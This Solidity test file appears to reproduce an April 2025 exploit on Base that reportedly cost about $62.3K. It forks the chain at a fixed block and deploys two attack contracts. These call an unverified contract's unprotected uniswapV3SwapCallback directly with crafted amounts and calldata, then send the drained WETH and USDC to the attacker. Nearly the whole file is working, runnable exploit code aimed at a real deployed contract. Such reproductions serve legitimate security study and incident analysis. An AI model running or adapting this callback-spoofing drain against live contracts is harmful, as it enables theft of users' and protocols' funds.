src/test/2025-04/Unverified_6077_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~ ($62.3K)
8// Attacker : https://basescan.org/address/0x780e5cb8de79846f35541b700637057c9ddded68
9// Attack Contract : https://basescan.org/address/0x780e5cb8de79846f35541b700637057c9ddded68
10// Vulnerable Contract : https://basescan.org/address/0x607742a2adea4037020e11bb67cb98e289e3ec7d
11// Attack Tx : https://basescan.org/tx/0x1a6002d8aee205dff67cb2cdaf60569721655857d49ffe2ce81e10fde8c45946
12 
13// @Analysis
14// Post-mortem : N/A
15// Twitter Guy : https://x.com/TenArmorAlert/status/1910662533607796887
16// Hacking God : N/A
17 
18address constant WETH_ADDR = 0x4200000000000000000000000000000000000006;
19address constant USDC_ADDR = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
20 
21contract Unverified_6077_exp is BaseTestWithBalanceLog {
22    uint256 blocknumToForkFrom = 28_791_090 - 1;
23 
24    function setUp() public {
25        vm.createSelectFork("base", blocknumToForkFrom);
26        // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
27        fundingToken = WETH_ADDR;
28 
29        vm.label(WETH_ADDR, "WETH");
30        vm.label(USDC_ADDR, "USDC");
31    }
32 
33    function testExploit() public {
34        AttackContract attackContract = new AttackContract();
35        attackContract.start();
36        AttackContract2 attackContract2 = new AttackContract2();
37        attackContract2.start();
38 
39        emit log_named_decimal_uint("WETH", TokenHelper.getTokenBalance(WETH_ADDR, address(this)), 18);
40        emit log_named_decimal_uint("USDC", TokenHelper.getTokenBalance(USDC_ADDR, address(this)), 6);
41    }
42 
43    receive() external payable {}
44}
45 
46contract AttackContract {
47    address attacker;
48 
49    constructor() {
50        attacker = msg.sender;
51    }
52 
53    function start() public {
54        address unverified_6077 = 0x607742A2Adea4037020e11Bb67CB98E289E3eC7D;
55        IUniswapCallback(unverified_6077).uniswapV3SwapCallback(
56            -125_859_570_852_398,
57            22_510_000_000_000_000_000,
58            hex"000000000000000000000000ddddf3d84a1e94036138cab7ff35d003c1207a7700000000000000000000000000000000000000000000000000005ad023c7e400"
59        );
60 
61        TokenHelper.transferToken(WETH_ADDR, attacker, TokenHelper.getTokenBalance(WETH_ADDR, address(this)));
62    }
63 
64    function token1() external view returns (address) {
65        return WETH_ADDR;
66    }
67 
68    receive() external payable {}
69}
70 
71contract AttackContract2 {
72    address attacker;
73 
74    constructor() {
75        attacker = msg.sender;
76    }
77 
78    function start() public {
79        address unverified_6077 = 0x607742A2Adea4037020e11Bb67CB98E289E3eC7D;
80        IUniswapCallback(unverified_6077).uniswapV3SwapCallback(
81            -125_859_570_852_398,
82            27_260_000_000,
83            hex"000000000000000000000000ddddf3d84a1e94036138cab7ff35d003c1207a7700000000000000000000000000000000000000000000000000005ad023c7e400"
84        );
85 
86        TokenHelper.transferToken(USDC_ADDR, attacker, TokenHelper.getTokenBalance(USDC_ADDR, address(this)));
87    }
88 
89    function token1() external view returns (address) {
90        return USDC_ADDR;
91    }
92 
93    receive() external payable {}
94}
95 
96interface IUniswapCallback {
97    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;
98}